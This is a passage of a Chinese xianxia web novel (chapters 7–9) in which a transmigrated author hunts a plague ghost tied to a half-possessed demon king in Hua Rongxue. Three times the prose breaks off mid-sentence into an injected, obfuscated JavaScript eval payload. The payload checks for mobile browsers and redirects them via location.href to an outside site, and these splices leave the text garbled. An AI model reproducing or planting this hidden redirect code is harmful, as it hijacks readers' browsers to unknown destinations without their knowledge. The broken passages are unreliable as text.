屈娆低调地再次将臧命袍的兜帽戴上,掩盖气息慢慢向山下走去。 但刚一下山,她就在周边发现了奇怪的事。 明明是太阳还没出来的清晨,远处下方的人类聚集地却灯火通明。 屈娆眨了眨眼,定睛一看: 什么灯火通明!那是起火灾了!! 我靠,这红光……当年周瑜等人火烧赤壁都没你这么壮观吧!? 7. 第七章 按理来说,以屈娆现在筑基期的菜鸟修为,像这种不一般的场景是不适合她靠近的。 但在下山的过程中,她遥望着山下村庄连天的火光,屈娆恍惚间想起了什么。 【……玄穹历十九年,凤麟洲华邑庄夏秋大疫,霍乱暴死者日数百人,民有‘午发病,夕报毙’之惧。】 玄穹历十九年! 这是女主出生前的一年! 屈娆原本有些恍惚的神经瞬间被这个关键词刺得一激灵,然后忍不住拉了拉自己身上的臧命袍。 她说为啥这件新手福利袍的使用期限只有一年——原来搁这等着她呢!! 休闲安稳的日子只剩下一年了,这一年的时间就是屈娆为自己争取含有希望未来的关键时期。 她记起了这段在小说里只简短记录作为背景故事的事件。 “凤麟洲疫病”,一场死亡数量高达百万人的古代大疫! 虽说在一本狗血修仙小说里面,普通人的生活只能作为背景板出现,但屈娆在设定的时候可是实打实地设计过。什么当代的年号,地域分类,各地百姓生活习性,区域特产什么的…… 但这个事件是不同的。因为这场疫病的产生和扩散,引出了一个重要的人物—— 狗血修仙文男主,云无涯。 “九霄云外,道法无涯”。 这个时间段的云无涯,还不是青天宗赫赫有名的剑尊,不过身份也不低,乃青天宗首席大弟子。也就是读者们经常调侃的“修仙文铁打的大师兄”。 玄穹历十九年是个整个狗血修仙文的关键期,在这一年,处于实习期的云无涯在完成“控制凤麟洲疫病”这件事之后,就出师摇身一变成了青天宗挂名的“云鹤剑尊”。 这就是屈娆给狗血文男主送来的一道机缘,毕竟狗血修仙文要的就是双方背景和实力的差异,要是两方都是普通平民百姓那还看什么修仙文,直接去看家庭狗血伦理剧不就得了? 虽然都是狗血文,但还是有差别的。 为了赚钱,屈娆还是有好好研究过。 话说回来,现在应该还只是疫病爆发的前期。范围被限制在了华邑庄以及周边村镇。 又因为地理环境因素,爆发疫病的村庄无法获得有效的救援,也没办法轻易离开这里。 屈娆下山的脚步站定,她一手扶着身旁粗糙硌手的枯枝树干,遥望看上去火势愈发大起来的村落。 她知道,那是百姓在焚烧已死的病人。 可这并不是简单的疫病。 能够引来青天宗首席大弟子的事情,怎么可能只是一场简单的瘟疫。 ** “快!快点烧!!” “所有人都把柴火架上来!” “蠢货!赶紧遮掩住口鼻,吸进这些烟雾小心你也染上病了!” 华邑庄现在的主心骨是华家的华仁。 此刻,年过半百的老头子拄着拐杖对着不做好防护的年轻后辈破口大骂:“要死啊你!赶紧滚回家里待着!” 滔天的火光染红了他一大半的脸,松弛的皮肉在他看见火光中病死的人时抽动了几下。 华仁站在大火前,浑浊漆黑的眼瞳闪过一丝凝重。 瘟疫。 一场能够在短短数天之内将一座人满为患的城池变作一座空城的灾难。 此刻正爆发在华邑庄内。 谁也不知道源头是什么,等到人们察觉时,庄上的人已经消失了很多。 难言的惶恐在人群中无声传播,哪怕没有说出口,人们脸上也是惶惶不可终日的紧张与绝望。 “仁伯……”有人凑过来讷讷开口,“真的都要烧吗?” 华邑庄推崇土葬,现在死了这么多亲人眷属,却要一把火烧了连尸骨都无法留下,庄内残余的年轻人眉头紧皱不知如何是好。 “不烧了等着下葬把我们的后路都断了吗!?” 仁伯气不打一处来,伸着拐杖就往他身上戳,嘴里怒道:“你知道这是什么吗!?这不只是病!这是瘟疫!瘟疫啊!!” 谁不想让亲人儿女安然葬在故乡之下?可现在这不一样,这是瘟疫,一场弄不好全都要死球了的瘟疫! 华仁只能以最坏的打算安排好现在的一切。 就算、就算所有人都没办法活下来,也绝不能让这场瘟疫传到外面去。 老人闭了闭眼,再度睁开时浑浊的眼珠有了狠绝的亮光。 “阿仁……” 身后忽然传来了一声呼唤,仁伯的身体不自觉地颤动了一下。他转过身,一眼就看见了被侍女搀扶而来的夫人。 “夫人!” 他快步上前,神情担忧:“怎么这个时候出来了?夜露风寒,快些回屋休息吧。” 秋夫人摇了摇头,伸手拍了拍他红肿的右手,然后越过他看向那场滔天的火焰,昏暗的夜色都被这场大火染亮了一片。 “瘟疫……”她喃喃开口,眉眼间是化解不开的愁绪,“融雪他——” “夫人!” 仁伯心头一颤,双手握住秋夫人的手,对她摇头,“慎言。” “唉……” 秋夫人只是叹息,紧接着便控制不住地咳嗽,到后面竟然喋出些许血渍来。 仁伯眼中闪过痛惜,许久也只是对侍女道:“带夫人回去吧。” 这场无缘由的瘟疫不知何时才能停歇,难道——真是雪儿的错吗? 直到忙到天亮,那场几乎要焚烧一切的大火才彻底湮灭。华邑庄的人四散着离开休息了,只是因为人少了很多,连带着华邑庄都隐约变成了沉默的死乡。 仁伯拄着拐杖,没叫人跟着,而是慢慢走到了庄外,坐在干枯的木桩上遥望着远方,眉眼松怔,这一夜过后他像是老去了十多岁,原本在火色的夜中还算挺拔的背脊,现如今已彻底被压弯。 他佝偻着背沉思许久后,才慢慢站起身,向着后山走去。 华邑庄四周都是山,东边的山是传闻有虎妖伥鬼的华邑山,而其他方位的山皆是些无名小山。 而在西南方的小山上,无人得知这儿藏着一个人。 一个……不人不鬼的…… 不!他怎能这样想!那可是他的儿子,他的亲儿子! 华融雪,他年幼的三子,从出生那年起就病着,虽貌若潘郎,但智若小儿。好不容易被仁伯养大的三子,就这样被拉扯到了十七岁。庄上无人愿意嫁给这样一个只有外貌的傻子,不过仁伯不介意养着华融雪——这毕竟是他的孩子。 只是……三年前那场大雪过后,华融雪就在山上不见了踪迹。 直到三年后,一个月前,仁伯在后院看见了浑身脏兮兮却冲着他傻笑的幼子。 仁伯用拐杖扒开了拦路的荆棘野草,眯着眼勉强从斑驳的小道向上。 直到半山腰,他看见了自己为融雪搭建的一间小茅屋。 原本整洁的小茅屋到现在杂乱无章甚至有些破败的样子,只需要一个神志不清的华融雪。 仁伯叹了口气,艰难地爬上了山,走到茅屋前。 “叩、叩叩、叩。” 这是他和融雪约好的暗号,只有当这个敲门声响起时,门才能够被打开。 可是今天却出了意外。 屋内没有任何动静,悄言无声的环境让仁伯有了一种不妙的预感。 “……融雪?”他先是轻声呼唤,见没人应答后又提高了音量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160776|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “融雪!” 仁伯急了,伸手去推门:“融——” “嘎吱”一声响,一直紧闭的茅屋小门在这时被打开了。 但站在门后的人不是他那漂亮但弱智的三子华融雪,而是一个全然陌生的穿着一身黑袍看不清面貌的人。 仁伯:“你——” 他愕然地盯着眼前的人看,不自觉地往后退了一步。 就算他再怎么老眼昏花,也不会认不清那些修仙道士身上独特的气质,本能的恐惧瞬间袭上仁伯的心头,不知道从哪里来的勇气,让他颤着手去扒眼前的黑袍人。 “融雪!融雪!”仁伯的口中不断呼喊,绝望地想要得到孩子的回应,可…… “爹!爹!” 一个傻乐的青年从黑袍人的身后探出颗脑袋来。琥珀色的瞳孔像是盛着化开的蜜水,上挑的眼尾染上了不知道从哪儿沾到的草液,面容姣好的华融雪就这样站在一个他爹完全不认识的黑袍人身后,笑得像是找到家的野犬一样,一边笑一边回应他爹的呼喊。 没有见到预料的场景,仁伯有些反应不能地愣在原地。 “这……” “你是华仁?” 眼前的黑袍人开口问,听声音……竟然像是位年轻的姑娘!? 不不不,华仁你清醒一点,那些修仙的道士一个个的看样子年轻得很,但真实年纪谁又摸得清楚?别以貌取人! 仁伯在心里给自己警醒了一句,随后放低了姿态恭敬道:“是,是……不知仙长光临寒舍,仙长这是……有何贵干?” “某只是来此地除妖祸。” 黑袍人缓声开口,随后侧身:“仁伯不如先进来?” 后者战战兢兢地在这种略显诡异的环境中进了屋。 屋内倒是和上一次见融雪时没有什么差别,只是比之前更加乱糟了些,不过这都是些小事。 而他坐在屋内的矮椅上,转头一看,就发现自己那个傻儿子正跟在那个仙长屁股后头傻乐。对方走一步,他也跟着一步凑热闹。 仁伯被吓得眼前黑了又黑。 “道、仙长,”他勉强鼓起勇气开口,试图让这位神秘的仙长将注意力从傻儿子身上分走,“您刚刚说……妖祸?可是那华邑山上的虎妖为祸?” 黑袍之下的屈娆顿住。 嗐,也不怪这些人都这么认为,毕竟最开始写这段的时候,屈娆就有意将剧情和读者的思维往守山虎的身上引导,这样才能在后期让女主烬粟追查进入华邑山上触发秘境。 她摇了摇头:“此次祸乱并非山神所为。” “山神?”仁伯懵了,这哪里来的山神?难道……仙长说的是华邑山上的虎妖?可那不是妖吗? 屈娆没给他解释这个的义务,只是继续道:“我观察过华邑庄现如今的状况,虽然你们焚烧了大量病死之人的身躯,但这并非普通的疫病。” “此乃妖魔为祸。” 仁伯喃喃:“妖魔……” 他猛地回过神,像是抓住了救命稻草一般看向眼前神秘的仙长,言辞恳切:“仙长!仙长救救我们吧!那个妖魔到底是什么!非要害得我们如此!?” 这一个月来,死了多少人啊。他在人们夜夜的哭嚎中难以入眠,可什么办法都试过了,药草紧缺,粮食匮乏,再继续下去,华邑庄大抵是没有活路可走了。 妖魔……到底是哪里来的妖魔,竟然要这样害人!! 屈娆眼神飘忽了一下,然后慢慢地侧过身。 仁伯愣住,迟疑地顺着她的目光看去。 那儿,一个俊美的傻子正坐在地上,乐呵呵地自顾自扒拉着地上的灰尘,对两人投来的目光毫无察觉。 雪儿……? 8. 第八章 “仙长饶命!!”面前的老人猛地爆发出一声嘶哑的大喊,随后站起身毫无预兆地冲着屈娆跪倒下去。 还好后者眼疾手快一把钳住他的胳膊,没让这个年过半百的老人跪下去。 华仁面露悲怆,双手告饶:“定是有什么误会啊仙长——融雪、融雪他打娘胎里出来就带了病,其他的小儿三岁就能对答如流,可融雪他直到现在也说不清楚话……他、他怎么可能是一个害人的怪物呢!?” 眼前的仙长没让他跪下去,但也没有扶着他起身。华仁被桎梏臂膀的痛楚远没有现下心中的紧张要多。 仁伯苦涩的话传入她的耳中,却只得到修士一句话。 “我从未说过他是怪物,”修士缓缓开口,语气温和却又笃定得引人深究,“仁伯是怎么有这个想法的?” “……” 老人哑口无言,随后被一股巨力拉起不得不站好。 扶他起来的修士客气地收了手,随后转身来到那个坐在地上傻乎乎的华融雪面前。 在仁伯紧张惊异的目光下,一柄带着寒光的长剑眨眼间出现,随后横在三子脆弱的脖颈上。 似乎是剑的寒意让他感觉到不适,原本傻乐的青年畏缩了一下,用那双上挑的丹凤眼做出湿漉漉的眼神看向屈娆。 “仙、仙长……” 仁伯大气也不敢出,生怕下一秒好不容易起死回生的三子就这样惨死在自己面前。 “我说的妖魔不是他。”那柄剑从华融雪的侧颈移开,屈娆将灾厄往一旁扔去,这柄回归自由的灵剑欢呼一声直接飞出了小茅屋撒欢去了。 屈娆低着头定定地看着傻傻的青年,眯起了眼睛。对方头顶那鲜明的短小红蓝条直接表明眼前的这个傻子还不是小说背景中,那个被半夺舍的妖王。 “而是跟着他来的疫鬼。” 听到这个名字,仁伯心尖一颤。 “疫鬼……” 屈娆转身看向他:“华融雪死而复生过,对吧?” “您怎么知道——”仁伯面色惨白,双腿无力地跌坐在地上,“难道真的是融雪带来的灾祸?可、可他什么都没做啊……” 屈娆心情有些复杂。 毕竟对于她这个小说作者来说,这只是随手写下的设定,但对于这个成真的世界来说,是一场又一场的灾难。 华融雪的故事很简单,或者说,这个傻子的人生很简单。三年前本该死在被雪淹没的大山中,却因为重伤的妖王需要一个载体,所以再度活了过来。 而现在,在她面前的这个傻子,身体的某处存在着一个夺舍失败了的妖王。 为什么说是失败呢? 因为华融雪这个人很特殊,一般正常人是三魂七魄,但他缺了一魂三魄,导致他整个人出生以来就痴傻。妖王想要夺取他的身体,但华融雪特殊的身体只认这两魂四魄,强行侵占的下场就是妖王本人也被带得痴呆了。 死而复生的傻子华融雪对此一无所知,那两魂四魄带着身体重新回到了华邑庄。而他体内被迫痴呆的妖王则是一直沉睡,直到最近随着灵力修补神魂,隐藏在身体中的妖王逐渐苏醒,周身的妖气也逐渐爆发引来不少妖魔。 疫鬼也是被吸引而来的一类。妖魔可没什么人类的站队观念,它们的想法很简单,你呈弱势,那只要我干掉你,我就是下一任妖王。 华融雪身上携带的妖气逐渐显露,被疫鬼找到也只是时间问题。而现在,疫鬼传播瘟疫,也只是为了逼迫妖王现身。 这是一种挑衅,也是一种试探。 按照正常的时间线,大概再过一周,疫鬼就能把整个华邑庄和周边村落的百姓污染,即将达成“百里不留人”的成就,而那个时候妖王苏醒,一边夺取华融雪的躯体,一边与挑衅妖王地位的疫鬼交手。 而这场混乱战事的结果,则是诞生了一个半痴半傻,疯癫狠厉的妖鬼。 活下来的不是疫鬼也不是妖王,而是妖鬼化的华融雪。 干掉疫鬼和妖王后,这个傻子就这样守在空无一人的华邑庄,最后被下派任务来控制瘟疫源头的云无涯斩杀。 当然,作为一名狗血文作者,哪怕只是一个给狗血文男主送业绩的小故事背景,屈娆都加上了狗血调味料。 那场看似两妖对战,实则三方混战的过程中,围观的还有华融雪半残的亲人。 父亲华仁早早染病离世,而他的妻子秋晚香则是带着两个女儿拿起剑围剿了自己的幼子。 那个时候不管是秋晚香还是大姐秋沐春、二姐秋挽夏,都以为害人的是自己从小相处的亲人。拿起长剑对准自己的亲人时,每个人心中都带着莫大的哀痛。 在三人的围攻下,战胜了疫鬼的妖王重伤不敌,最后被长剑刺进心脏、头颅、丹田,含恨而死。死后未绝的妖气钻入三人心口,秋家母女无一善终。 而作为最终赢家重新夺回身体掌控权的华融雪,则是傻傻地看着母亲与姐姐们身体随风而散。 整个华邑庄只剩下他一个人,整个家也只剩下他一个人。 彻底疯癫成魔的妖鬼固守着空荡荡的鬼庄,等待着有一天家里人会接他回家。 屈娆:哇,这的确…… 好吃啊!! 就是这个误解、阴阳两隔、抱守执念的狗血味爽! 不知道读者是怎么评价的,但当时的屈娆的确写得很舒爽。 不过现在的话……如果让这瘟疫爆发出来,给云无涯送业绩可不是屈娆现在的想法。 狗血文男主——哈!她美满幸福生活的一生之敌! 好在屈娆好歹是这本狗血修仙文的小说作者,知道怎么避免这场狗血背景剧情的诞生,知道如何让云无涯的业绩被掐灭在萌芽时期。 “重要的不是他做了什么。”屈娆回答仁伯的话,她语调平平地开口,“只是在有利可图者眼中,价值就是他的原罪。” 谁叫华融雪虽傻,但天赋着实异禀呢。 仁伯面色惨淡地重复她的话:“价值……” 他想不到自家的傻孩子会有什么价值,能引来妖魔。 但现在不是探究原因的时候,仁伯转而看向一直以来语气平静得像是见惯了这些事的神秘仙长。他赶忙跪好开始不断磕头:“求求仙长!求求仙长救救我们吧!我、我一定会让乡亲们为您供奉,为您修祠堂……仙长救救我们!” 但头顶无人回应。 直到仁伯声音嘶哑,磕得头昏脑涨也没得到回应,他惴惴不安地抬起头,但眼前哪还有什么身着黑袍的仙长,只有大敞的屋门。 就连华融雪都不见了踪迹。 “融雪?仙长?” 人呢? ** 屈娆没看人继续恳求她,她没那个癖好。另外就是,时间不等人。 有这时间装模做样,庄子的人都要再死好几批了。 更重要的是,死的人越多,瘟疫名头传播范围越广,疫鬼的实力就越强。 而且…… 她不动声色地看了一眼被她扯出来的傻青年。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160777|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华融雪体内的痴呆妖王现在就算是重伤,也好歹是化神初期,但在疫鬼发展起来之后也能和化神期的妖王打个五五开。所以现在当然是趁疫鬼没发展起来——趁它弱,要它命了! “灾厄!” 站在山林中,1080p的视力让一切细节在屈娆的眼中都变得格外清楚。 她将在头顶上兴奋狂飞的灵剑喊了回来。 手执长剑的修士浑身气势巨变,往常平淡甚至说有些柔和的气质在此刻似乎凝结成冰,巨大的反差叫灾厄剑身轻鸣,整个剑灵再度兴奋。 这个气势—— 它甚至在邑不渡的身上都没有见到过! 那种藐视一切的高傲,就算没有用言语和态度表露出来,可从骨子里透出的倨傲,那种睥睨众生的气势—— 灾厄在屈娆手中翻转,从未学过剑法的她在正式筑基踏入修仙路之后,一切动作做得行云流水。 被邑不渡称作“灾祸之剑”的灵剑,此刻像是收敛了利爪的猫咪一样,在屈娆手中乖顺得不可思议。直到她将长剑刺出时,这柄剑携带了令人恐惧的杀意。 “——!” 站在屈娆身后的傻子青年呆愣地眨了眨眼,后知后觉地低下头,看见了刺进自己心口的凶剑。 “……痛……” 华融雪长长的睫毛扑闪,琥珀色的眼瞳慢慢盛满了湿润的水意。他颇为委屈地开口嘟囔,但却没有因为疼痛而往后退开一步,只是抬头可怜巴巴地看着之前还给他塞馒头吃的好人。 “嘎!?” 叫出声的反倒是灾厄。 剑灵看了一眼握着自己干出杀人事的修士,又看了一眼不正常现在还没死的青年。百年老宅剑发出震惊的叫声:“什么情况!?” 血的味道从眼前的人身上传来,但灾厄很快就意识到出血量的不对劲。 明明被刺进的是心脏,但从心口涌出的血却呈现紫红色,且血量不过划伤皮肤的体量。 这家伙……不是普通人啊。 剑灵下意识地看向屈娆,修士的脸上并没有意外,像是预料到了这种情况一样。 她拔出了剑,华融雪心口处的血也没有喷涌而出,虽有一点血溢出但肉眼可见地在减少。 不过即便只有这点血,也足够将疫鬼引过来了。 妖王在华融雪的身体里,即便是死亡也不可能只是被刺进心脏就能做到的。但心头血所携带的浓烈妖气,足够吸引想要上位的疫鬼了。 很快,周围变得无比安静。 那种静并不是山林中该有的幽静,而是一种阒然,听不到任何声音,仿佛山中鲜活的生灵已在这一刻全部凋亡。死亡的气息逐渐朝着这儿靠拢,像是潜藏在林中的毒蛇,紧盯着猎物露出獠牙,伺机行动。 屈娆收剑转身,暗自给自己打气。 你可以的屈娆!就算你现在还只有筑基期,但修仙界最能苟的就是筑基期了!!再不济你手中还有一柄大乘期修为的灵剑! 光是拿大乘期的剑砍也能砍过去啊!别怂!是女人就直接上实操! 而在华融雪的视角,那个面色平静的好人转过了身,在一片沉寂的氛围中,挡在了他的身前。 明明是让他感受到疼痛的人,却在他脑海尖叫着危险时,手执长剑平静温和地开口说: “别怕。” 屈娆一脸深沉地拿着灾厄,看着鲜绿环境中试图隐藏在其中的唯二存在的长长红蓝条,一瞬间就没了初次战斗的紧张。 别怕,姐要装起来了。 9. 第九章 【……是夜,月隐云翳,寒风呜咽。忽闻窸窣声自田间、屋瓦下起,如百爪挠心,渐次逼近。尔后黑雾弥散,腐臭扑面,但见一巨鼠破土而出,身大如虎,毛色灰败,鼻头溃烂脓血涔涔,双目赤若阎罗殿下火,所到之处草木顿枯,吐息所及,疫瘴横生。】 这是小说里烬粟见到的一类疫鬼,但那已经是化神期的疫鬼。 而屈娆面前的这只,现在还只是发育前期。 就看那短短的两根红蓝条,一瞅就知道没到化神期,和守山虎比起来完全是两个级别。 屈娆都没意料到就这种小菜鬼竟然也敢算计妖王,果然是有300%收益就敢豁出命来搏一搏的修仙界啊。 当然,也有可能是重伤的妖王气息给了它一种自己也能得手的错觉吧。 屈娆眯起了眼睛,握紧了手中的灾厄,然后—— 毫无预兆地将本命灵剑扔飞镖一样扔了出去! 正兴奋的准备和新主人一起大杀特杀的灾厄:? 灵剑朝着目标敌人分毫不差地飞去,但被警惕的疫鬼险之又险地躲过。 灾厄:? 嘿!这种货色也能躲开它的攻击了?是看不起谁啊!? 原本直来直往的灵剑猛地调转方向,就算不用屈娆多说,它动作迅速地朝着钻地而逃的疫鬼极速追去。 屈娆没想干掉疫鬼,或者说,没想现在干掉疫鬼。 因为这类疫鬼看外表像是老鼠成精,但实际上跟个兔子一样。狡兔三窟,疫鬼则是在华邑庄下打了三十六个窟窿。 三十六个窟窿里面分别藏着一个半死不活,染上瘟疫的百姓。 和外界以为的完全不一样,所有人都认为疫鬼是根据感染数量而壮大自己实力的,但只有屈娆,以及在小说里之后经手斩杀疫鬼的云无涯才知道,疫鬼靠的不是这个,而是百姓们对瘟疫的恐惧。 疫鬼在地下藏起的那三十六个百姓,因为身染重疾且被困暗无天日的洞穴中,所以他们的恐惧会随着病重越来越深,而这种恐惧则会带走他们体内的精气化作疫鬼的增进修为的一缕。 被藏在洞穴中,染病,然后被疫鬼从死亡的边界上强行拉回,然后再次染病。直到人疯掉,又或是完全无精气,无求生欲望。被榨干所有价值的人会死在洞穴内化作一架白骨,等候着下一个来到这里的同类。 因此,如果要彻底干掉疫鬼,让华邑庄的瘟疫就此灭绝,就只有一个目标。 断绝它的后备储藏能源,也就是切断疫鬼和那三十六个人命的联系。 眼看着灵剑越追越远,屈娆赶忙跟上去。 幸好她现在筑基了,也幸好是以炼体筑基,至少追上它们屈娆还是比较轻松的。 她紧紧盯着在杂草乱林中乱窜的疫鬼,根据脑中久远设定来分辨出这片地底下是否藏着那三十六个绝望的百姓。 ——说起来,狗血文男主云无涯当时是怎么做的? 和屈娆现在面对的新手疫鬼不同,云无涯解决这起被无限扩大的事件时,面对的不仅是妖鬼化的华融雪,还有被对方同化的疫鬼尸骨。而那时的疫鬼,虽然毫无神志,但还存在本能,哪怕只存在尸骨,都足有化神期。 妖鬼化的痴傻青年抱守着空无一人的华邑庄,但没能想到地下还有三十六个悬走在死亡边缘的同乡。 疫鬼的尸骨本能地像生前那样汲取人的恐惧来壮大自己,同时反哺给同化自己的华融雪——相当于华融雪在无意识食用着同乡的血肉。 这也是为什么云无涯在解决了疫鬼尸骨之后,找到妖鬼化的华融雪时,明明他从未离开华邑庄一步但已然化神巅峰。 云无涯解决疫鬼尸骨的办法很简单。 他杀掉了那苟延残喘的三十六个普通百姓。失去了后备能源的疫鬼,仅为元婴期的云无涯也能勉强越级斩杀。 但屈娆现在却不能像云无涯那样做。 首先,屈娆没杀过人。其次,就算知道这些人都只是从自己手中诞生的人物,屈娆也并不认为这些书中人和她是一样的人,但她受过的教育也没办法让她说服自己。 最后…… 谁说只有杀掉疫鬼的后备能源,才能杀死疫鬼呢? 屈娆眼神一凝,足尖点地,整个人飞了起来! 在远处华融雪的眼中,那个神情始终淡漠的修士衣袂翻转,翩然若柳叶浮飞于空。手中剑诀捏起,只闻山中一声冷喝:“灾厄!” 那原本追着疫鬼而去的灵剑瞬间扭转剑身,朝着天空中的修士闪来! 而始终在土地下蹿动的疫鬼像是察觉到了异常,又或是不知从何而来的极度恐惧让它放弃了趁此机会钻出土地逃窜的想法,开始持续下钻,妄图钻入它打好的那三十六个洞之一。 可它的这个打算正中屈娆下怀。极度专注凝实的精神让她将周围一切杂音都摈弃,单从外表来看谁也不知道几秒钟前这个人飞起来的时候紧张得心脏狂跳。 手中的灾厄剑身轻鸣,连带着屈娆被重铸的剑心都开始不可抑制地上涌兴奋的热浆。 斑纹镌刻的剑柄似乎带上了略微烫手的火热,屈娆神情肃穆,在整个人倒着即将因重力向下之前,手中的长剑对准疫鬼向下挖掘的土地挥下一剑! 刹那间天地色变! 灵剑剑锋滑过的虚空隐有破碎之兆,而落下的剑气则是像打开最初天地的一缕光。疫鬼往下不断地逃,而这缕细线般的光则是无声无息地追。 剑光所过之处,空间扭曲,时间凝滞,刹那间环境陡转,观望到这一剑的人思绪都因此冻结。 “唰——!!” 剑气携带着头顶上的亮光,堪堪从疫鬼兽类的耳侧擦过,只余火辣辣的疼痛。 它终于没了力气,瘫坐在被劈开的洞穴内,一旁是早已奄奄一息只余吞吃价值的凡人。站在头顶上的光忽而落下一片阴影,疫鬼悚然望去。 那个修士!那个手持着长剑,探不到一点底细的修士!就这样站在高处,目光淡漠地垂头望着它。 “别、别过来!” 大抵是被吓破了胆,疫鬼发出如鼠般尖锐的惨叫,跌跌撞撞地起身制住了毫无反抗能力的凡人,妄图用这个凡人的命来制约修士的动作。 这不是当然吗!这些修士、这些正道人士——不就是在乎这些猪猡一样的凡人的命吗!? 就应当是这样啊!! 可哪怕在那一剑带来的极度恐惧中,疫鬼也能感受到头顶上方属于修士的目光。 那样的淡漠,那样的不近人情,仿佛这世间再无她任何在意的东西,世间的一切都只是她修仙路上的平路。 而平路……只有被踩着,促她向上的价值。 她不在乎! 疫鬼猛然意识到这一点。 这个该死的修士,她不在乎它手中掌握的是谁的命!她要的就只是它的命!! 在逆光中,疫鬼汗流浃背地看见了修士缓缓举起的长剑,看样子似乎还要再来一次!? “啊啊啊啊——!!!” 疫鬼猛地丢开手中无用的凡人,癫狂地大叫一声,然后在所有人意料之外猛地钻进了一旁土块残缺的地里,继续不甘心地往其他地方逃窜。 “干掉它!干掉它!!” 屈娆手中的灾厄同样癫狂,它兴奋的语调在屈娆耳边炸响,像极了现代社会的电子音污染,闹得她脑袋嗡嗡的。 “畅快!真是畅快的一剑!!”灾厄大叫道,“你叫什么名字来着?……屈娆?屈娆!好名字啊!!” “邑不渡那个老混蛋从未有过这样气势的一剑!他把自己的心魔炼成了手中的剑,但一次也不敢拿起来!他怕我杀了他!屈娆——!!” 手中的灵剑在嘶鸣,在震响! “我会杀了你,我也会杀了你,屈娆!!”灾厄用着除了自己谁也听不见的声音大声道出这个誓言,“但再此之前——我,灾厄,这柄世间绝无仅有的灾祸之剑,将会是你手中最锋锐的武器!” 它的气势再一度猛然上涨,隐有突破化神跨入合体期的迹象。 但屈娆对这个气息毫无感觉,只是看着手中的灵剑两条红蓝管似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160778|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎在自己长长。 屈娆:…… 不知道该给个什么表情,就简单地敷衍笑一下算了。 但在灾厄的视角中,修士的嘴角微微上扬,似乎在回应手中的灵剑……又或是对疫鬼不甘心逃窜的嗤笑。 “再次挥动我吧!”灾厄兴奋得浑身在颤抖,它看见了修士嘴角挂上的淡笑,头一次这么看得上邑不渡。要不是这个老混蛋,它还不可能遇上自己一生难得的知己! “我会为你荡平一切阻碍!” 被吵得耳朵嗡嗡的屈娆:…… 她收敛了脸上的神情,继续开始追踪疫鬼逃走的痕迹。 对于屈娆来说,作为一个现代来的普通人,就算她是本文的作者也很难理解自己写下的什么“气息”,“剑意”,这玩意儿写着很实在,但感受起来就很抽象了。 但没关系,她能看到疫鬼的血条和蓝条啊。 在一众安分守己的短蓝红条里,较长且在不断飞速移动的条管就非常清楚了。 屈娆像砍瓜切菜一样一边追着疫鬼的行动轨迹,一边拿着手中的灵剑毫无章法地乱挥,剑气切入地面,给一个又一个被迫藏匿在地下的普通百姓带来了希望。 明明在不断高速移动,但疫鬼浑身上下冒出的却是冷汗。 那个修士、那个怪物—— 她明明能够一击必杀,却像是猫一样戏弄着自己!! 手中的那柄灵剑每一次挥动都看不出正视,疫鬼感受到的只有满满的轻慢!哪怕不用回头,它也能感知到修士嘴角上扬的弧度,还有那张被黑色长袍遮掩下,脸上戏弄的神情! 绝对是这样的!! 但它没有任何办法,在一切不能反抗的硬实力面前,所有的想法都是狗屁。 它只能逃,只能一直逃——直到头顶上那个暴戾的修士什么时候失去了兴趣,又或是被转移了注意力,它才有可能活下来。 但,怎么可能呢? 屈娆就正是为它而来的啊。 随着最后一个洞穴被迫重见天日,屈娆所见之处的山林早已被灾厄的剑气伤得分辨不出这曾是一片茂密的林地。 “快哉快哉!”灾厄嘻嘻笑道,“咱们抽空去打上仙山台!那儿几个合体渡劫的大能才能让咱们尽兴呢!就这一个小小元婴算得了什么!等你恢复了实力,就算十个八个的合体渡劫也没法子和我们抗衡!” 元婴? 屈娆看着地下那移速变慢了的红蓝条,若有所思。 原来这个长度就是元婴修为的长度啊……记住了。 现在三十六个洞都出来了,那疫鬼也能够被解决了。 屈娆解决疫鬼的办法比云无涯还要简单粗暴。 不用管那三十六个百姓,直接斩杀疫鬼本体就行。 毕竟……她手上的,可是一柄有着化神期实力的灵剑啊。 只有实力不足才会思考如何曲线救国,而现在,真理则是被掌握在屈娆的手中。 ——她说什么是真理,什么才是。 “啊啊啊!!!” 又是一道既亮夜空的剑光,划破接连而来的乌云,让曾隐没在云层中的太阳再度出现。 而这一次,所有人都看见了挥出那惊世一剑的修士。 寒光乍现时,疫鬼的惨叫撞进了在场所有人的耳朵里,只觉背后汗津津的,令人两股战战。 屈娆收起了还没打过瘾直叫唤的灾厄,正准备回去和华仁说一声,让他派几个人来把洞里的同乡救出去。 